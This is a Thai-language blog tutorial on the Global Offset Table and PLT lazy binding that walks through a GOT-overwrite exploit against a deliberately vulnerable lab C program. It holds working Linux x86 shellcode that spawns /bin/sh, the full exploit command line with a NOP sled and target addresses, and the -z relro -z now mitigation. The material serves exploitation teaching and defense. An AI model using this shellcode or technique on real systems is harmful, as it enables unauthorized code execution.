Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้
ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))
เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (ex_09_1.c)
/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { char *ptr; char buf[512]; ptr = buf; strncpy(buf, argv[1], 516); printf("ptr address: %p\n", ptr); strncpy(ptr, argv[2], 4); printf("ptr address: %p\n", ptr); return 0; }
เมื่อเราลอง disassemble main function จะเห็น strncpy@plt กับ printf@plt ตามนี้
$ gdb -q ./ex_09_1 Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done. (gdb) disass main Dump of assembler code for function main: 0x080483f4 <+0>: push %ebp ... 0x08048423 <+47>: mov %eax,(%esp) 0x08048426 <+50>: call 0x8048310 <strncpy@plt> 0x0804842b <+55>: mov $0x8048550,%eax 0x08048430 <+60>: mov 0x21c(%esp),%edx 0x08048437 <+67>: mov %edx,0x4(%esp) 0x0804843b <+71>: mov %eax,(%esp) 0x0804843e <+74>: call 0x8048330 <printf@plt> ... 0x0804845e <+106>: mov %eax,(%esp) 0x08048461 <+109>: call 0x8048310 <strncpy@plt> 0x08048466 <+114>: mov $0x8048550,%eax 0x0804846b <+119>: mov 0x21c(%esp),%edx 0x08048472 <+126>: mov %edx,0x4(%esp) 0x08048476 <+130>: mov %eax,(%esp) 0x08048479 <+133>: call 0x8048330 <printf@plt> 0x0804847e <+138>: mov $0x0,%eax 0x08048483 <+143>: leave 0x08048484 <+144>: ret End of assembler dump.
และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt
(gdb) b *0x08048426 Breakpoint 1 at 0x8048426 (gdb) r Starting program: /home/worawit/tutz/ch09/ex_09_1 a b Breakpoint 1, 0x08048426 in main () (gdb) si 0x08048310 in strncpy@plt () (gdb) disass Dump of assembler code for function strncpy@plt: => 0x08048310 <+0>: jmp *0x8049660 0x08048316 <+6>: push $0x8 0x0804831b <+11>: jmp 0x80482f0 End of assembler dump. (gdb) x/x 0x8049660 0x8049660 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048316
จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function
และเมื่อดูใน printf@plt
(gdb) x/3i 0x8048330 0x8048330 <printf@plt>: jmp *0x8049668 0x8048336 <printf@plt+6>: push $0x18 0x804833b <printf@plt+11>: jmp 0x80482f0 (gdb) x/x 0x8049668 0x8049668 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048336
จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร
และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง
(gdb) b strncpy Breakpoint 2 at 0x1b2a35 (gdb) c Continuing. Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) x/x 0x8049660 0x8049660 <_GLOBAL_OFFSET_TABLE_+16>: 0x001b2a30 (gdb) x/5i 0x001b2a30 0x1b2a30 <strncpy>: push %ebp 0x1b2a31 <strncpy+1>: mov %esp,%ebp 0x1b2a33 <strncpy+3>: push %edi 0x1b2a34 <strncpy+4>: push %esi => 0x1b2a35 <strncpy+5>: sub $0x4,%esp
จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ
ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)
จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้
หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT
จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้
$ objdump -R ./ex_09_1 ./ex_09_1: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 0804964c R_386_GLOB_DAT __gmon_start__ 0804965c R_386_JUMP_SLOT __gmon_start__ 08049660 R_386_JUMP_SLOT strncpy 08049664 R_386_JUMP_SLOT __libc_start_main 08049668 R_386_JUMP_SLOT printf
ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode
$ ulimit -c unlimited $ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'` ptr address: 0x41414141 Segmentation fault (core dumped) $ gdb ./ex_09_1 core ... Program terminated with signal 11, Segmentation fault. #0 0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6 (gdb) x/12x $esp 0xbffff2fc: 0x41414141 0x00000000 0x00000000 0xbffff538 0xbffff30c: 0x08048466 0x41414141 0xbffff912 0x00000004 0xbffff31c: 0xbffff364 0xbffff370 0x00000070 0x0012c524 (gdb) 0xbffff32c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff33c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff34c: 0x41414141 0x41414141 0x41414141 0x41414141
ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น
$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'` ptr address: 0x8049668 $ ps -f f UID PID PPID C STIME TTY STAT TIME CMD worawit 1581 1580 0 20:08 pts/0 Ss 0:00 -bash worawit 1718 1581 0 20:11 pts/0 S 0:00 \_ [sh] worawit 1720 1718 0 20:11 pts/0 R+ 0:00 \_ ps -f f
เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้
$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c $ objdump -R ./ex_09_1_2 ./ex_09_1_2: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 08049fec R_386_JUMP_SLOT __gmon_start__ 08049ff0 R_386_JUMP_SLOT strncpy 08049ff4 R_386_JUMP_SLOT __libc_start_main 08049ff8 R_386_JUMP_SLOT printf $ gdb ./ex_09_1_2 ... (gdb) b main Breakpoint 1 at 0x8048417 (gdb) r Starting program: /home/worawit/tutz/ch09/ex_09_1_2 Breakpoint 1, 0x08048417 in main () (gdb) info proc process 1297 cmdline = '/home/worawit/tutz/ch09/ex_09_1_2' cwd = '/home/worawit/tutz/ch09' exe = '/home/worawit/tutz/ch09/ex_09_1_2' (gdb) shell grep ex_09 /proc/1297/maps 08048000-08049000 r-xp 00000000 08:01 269711 /home/worawit/tutz/ch09/ex_09_1_2 08049000-0804a000 r-xp 00000000 08:01 269711 /home/worawit/tutz/ch09/ex_09_1_2 # จะเห็นว่า GOT อยู่ใน section นี้ 0804a000-0804b000 rwxp 00001000 08:01 269711 /home/worawit/tutz/ch09/ex_09_1_2
Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html
No comments:
Post a Comment